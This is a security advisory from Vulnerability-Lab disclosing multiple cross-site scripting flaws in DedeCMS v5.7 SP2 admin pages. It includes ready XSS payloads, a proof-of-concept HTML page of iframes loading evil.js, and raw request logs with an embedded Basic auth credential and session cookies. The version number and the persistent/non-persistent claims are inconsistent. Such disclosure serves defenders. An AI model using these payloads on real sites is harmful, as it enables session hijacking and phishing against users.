发布 2020-04-15 漏洞条目

DedeCMS 7.5 SP2 – Persistent Cross-Site Scripting

Exploit Source

# Title: DedeCMS 7.5 SP2 - Persistent Cross-Site Scripting

# Author: Vulnerability Laboratory

# Date: 2020-04-15

# Vendor Link: http://www.dedecms.com

# Software Link: http://www.dedecms.com/products/dedecms/downloads/

# CVE: N/A

Document Title:

===============

DedeCMS v7.5 SP2 - Multiple Persistent Web Vulnerabilities

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2195

Release Date:

=============

2020-04-09

Vulnerability Laboratory ID (VL-ID):

====================================

2195

Common Vulnerability Scoring System:

====================================

4.3

Vulnerability Class:

====================

Cross Site Scripting - Persistent

Current Estimated Price:

========================

500€ - 1.000€

Product & Service Introduction:

===============================

Welcome to use the most professional PHP website content management

system in China-Zhimeng content management system,

he will be your first choice for easy website building. Adopt XML name

space style core templates: all templates are

saved in file form, which provides great convenience for users to design

templates and website upgrade transfers.

The robust template tags provide strong support for webmasters to DIY

their own websites. High-efficiency tag caching

mechanism: Allows the caching of similar tags. When generating HTML, it

helps to improve the reaction speed of the

system and reduce the resources consumed by the system.

(Copy of the homepage: http://www.dedecms.com/products/dedecms/downloads/)

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered multiple

persistent cross site vulnerabilities in

the official DedeCMS v5.7 SP2 (UTF8) web-application.

Affected Product(s):

====================

DesDev Inc.

Product: DedeCMS - Content Management System v5.7 SP2

Vulnerability Disclosure Timeline:

==================================

2020-04-09: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Medium

Authentication Type:

====================

Restricted authentication (user/moderator) - User privileges

User Interaction:

=================

Low User Interaction

Disclosure Type:

================

Independent Security Research

Technical Details & Description:

================================

Multiple persistent cross site scripting vulnerabilities has been

discovered in the official DedeCMS v5.7 SP2 UTF8 web-application.

The vulnerability allows remote attackers to inject own malicious script

codes with persistent attack vector to compromise browser to

web-application requests from the application-side.

The persistent script code inject web vulnerabilities are located in the

`activepath`, `keyword`, `tag`, `fmdo=x&filename`, `CKEditor`

and `CKEditorFuncNum`parameters of the `file_pic_view.php`,

`file_manage_view.php`, `tags_main.php`, `select_media.php`,

`media_main.php` files.

The attack vector of the vulnerability is non-persistent and the request

method to inject is POST. Successful exploitation of the vulnerability

results in session hijacking, persistent phishing attacks, persistent

external redirects to malicious source and persistent manipulation

of affected or connected application modules.

Request Method(s):

[+] POST

Vulnerable File(s):

[+] file_pic_view.php

[+] file_manage_view.php

[+] tags_main.php

[+] select_media.php

[+] media_main.php

Vulnerable Parameter(s):

[+] tag

[+] keyword

[+] activepath

[+] fmdo=move&filename & fmdo=edit&filename

[+] CKEditor & CKEditor=body&CKEditorFuncNum

Proof of Concept (PoC):

=======================

The web vulnerabilities can be exploited by remote attackers with

privileged user account and with low user interaction.

For security demonstration or to reproduce the vulnerability follow the

provided information and steps below to continue.

Request: Examples

https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%2Fuploads

https://test23.localhost:8080/dede/tags_main.php?tag=&orderby=total&orderway=desc

https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=2&langCode=en

PoC: Payload

".>"<img>"%20<img src=[Evil.Domain]/[Evil.Source].*

onload=alert(document.domain)>

>"%20<"<img="" src="https:/www.vulnerability-lab.com/gfx/logo-header.png

onload=alert(document.domain)">

>"><iframe src=evil.source onload=alert(document.domain)>

%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E

%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E

%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E

PoC: Exploitation

<title>DedeCMS v5.7 SP2 UTF8 - Multiple Non Persistent XSS PoCs</title>

<iframe

src="https://test23.localhost:8080/dede/file_pic_view.php?activepath=%2Fuploads%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E">

<iframe

src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E&activepath=%2Fuploads">

<iframe

src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E">

<iframe

src="https://test23.localhost:8080/dede/tags_main.php?tag=pwnd&orderway=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E">

<iframe

src="https://test23.localhost:8080/dede/tags_main.php?tag=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E&orderby=1&orderway=">

<iframe

src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=>"><iframe

src=evil.source

onload=alert(document.domain)>body&CKEditorFuncNum=2&langCode=en">

<iframe

src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=>"><iframe

src=evil.source onload=alert(document.domain)>2&langCode=en">

...

--- PoC Session Logs [POST] --- (Some Examples ...)

https://test23.localhost:8080/dede/media_main.php

Host: test23.localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)

Gecko/20100101 Firefox/74.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 152

Origin: https://test23.localhost:8080

Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=

Connection: keep-alive

Referer: https://test23.localhost:8080/dede/media_main.php

Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3;

DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958;

DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;

ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php

keyword=>"%20<<img

src=https://[Evil.Domain]/[Evil.Source].png>&mediatype=0&membertype=0&imageField.x=23&imageField.y=4

POST: HTTP/2.0 200 OK

server: nginx

content-type: text/html; charset=utf-8

content-length: 1830

expires: Thu, 19 Nov 1981 08:52:00 GMT

pragma: no-cache

cache-control: private

set-cookie: ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php; expires=Mon,

06-Apr-2020 17:53:23 GMT; Max-Age=3600; path=/

vary: Accept-Encoding

content-encoding: gzip

x-powered-by: PHP/5.6.40, PleskLin

X-Firefox-Spdy: h2

---

https://test23.localhost:8080/dede/file_pic_view.php

?activepath=%2Fuploads%2F>"

<"<img+src%3Dhttps%3A%2F%2Fwww.vulnerability-lab.com%2Fgfx%2Flogo-header.png>&imageField.x=0&imageField.y=0

Host: test23.localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)

Gecko/20100101 Firefox/74.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=

Connection: keep-alive

Referer:

https://test23.localhost:8080/dede/file_pic_view.php?activepath=&imageField.x=0&imageField.y=0

Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3;

DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958;

DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;

ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager

Upgrade-Insecure-Requests: 1

GET: HTTP/2.0 200 OK

server: nginx

content-type: text/html; charset=utf-8

x-powered-by: PHP/5.6.40

expires: Thu, 19 Nov 1981 08:52:00 GMT

pragma: no-cache

cache-control: private

X-Firefox-Spdy: h2

---

https://test23.localhost:8080/include/dialog/select_media.php?

CKEditor=>"><iframe src=evil.source

onload=alert("1")>body&CKEditorFuncNum=>"><iframe src=evil.source

onload=alert("2")>2&langCode=en

Host: test23.localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)

Gecko/20100101 Firefox/74.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=

Connection: keep-alive

Cookie: PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1;

DedeUserID__ckMd5=936f42b01c3c7958;

DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;

ENV_GOBACK_URL=%2Fdede%2Ffeedback_main.php

Upgrade-Insecure-Requests: 1

GET: HTTP/2.0 200 OK

server: nginx

content-type: text/html; charset=utf-8

content-length: 1137

expires: Thu, 19 Nov 1981 08:52:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0,

pre-check=0

pragma: no-cache

vary: Accept-Encoding

content-encoding: gzip

x-powered-by: PHP/5.6.40, PleskLin

X-Firefox-Spdy: h2

Reference(s):

https://test23.localhost:8080/dede/media_main.php

https://test23.localhost:8080/dede/tags_main.php

https://test23.localhost:8080/dede/file_pic_view.php

https://test23.localhost:8080/dede/file_manage_view.php

https://test23.localhost:8080/include/dialog/select_media.php

Solution - Fix & Patch:

=======================

1. Parse the content to disallow html / js and special chars on the

affected input fields

2. Restrict the vulnerable paramter prevent injects via post method request

3. Secure the output location were the content is insecure sanitized

delivered as output

Security Risk:

==============

The security risk of the application-side persistent cross site

scripting web vulnerabilities in the different modules are estimated as

medium.

Credits & Authors:

==================

Vulnerability-Lab -

https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Benjamin Kunz Mejri -

https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.

Disclaimer & Information:

=========================

The information provided in this advisory is provided as it is without

any warranty. Vulnerability Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability

and capability for a particular purpose. Vulnerability-Lab

or its suppliers are not liable in any case of damage, including direct,

indirect, incidental, consequential loss of business profits

or special damages, even if Vulnerability-Lab or its suppliers have been

advised of the possibility of such damages. Some states do

not allow the exclusion or limitation of liability for consequential or

incidental damages so the foregoing limitation may not apply.

We do not approve or encourage anybody to break any licenses, policies,

deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com

www.vulnerability-db.com

Services: magazine.vulnerability-lab.com

paste.vulnerability-db.com infosec.vulnerability-db.com

Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab

youtube.com/user/vulnerability0lab

Feeds: vulnerability-lab.com/rss/rss.php

vulnerability-lab.com/rss/rss_upcoming.php

vulnerability-lab.com/rss/rss_news.php

Programs: vulnerability-lab.com/submit.php

vulnerability-lab.com/register.php

vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this

file requires authorization from Vulnerability Laboratory.

Permission to electronically redistribute this alert in its unmodified

form is granted. All other rights, including the use of other

media, are reserved by Vulnerability-Lab Research Team or its suppliers.

All pictures, texts, advisories, source code, videos and other

information on this website is trademark of vulnerability-lab team & the

specific authors or managers. To record, list, modify, use or

edit our material contact (admin@ or research@) to get a ask permission.

Security GmbH]™

作者: Vulnerability Research Laboratory
日期: 2020-04-15
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection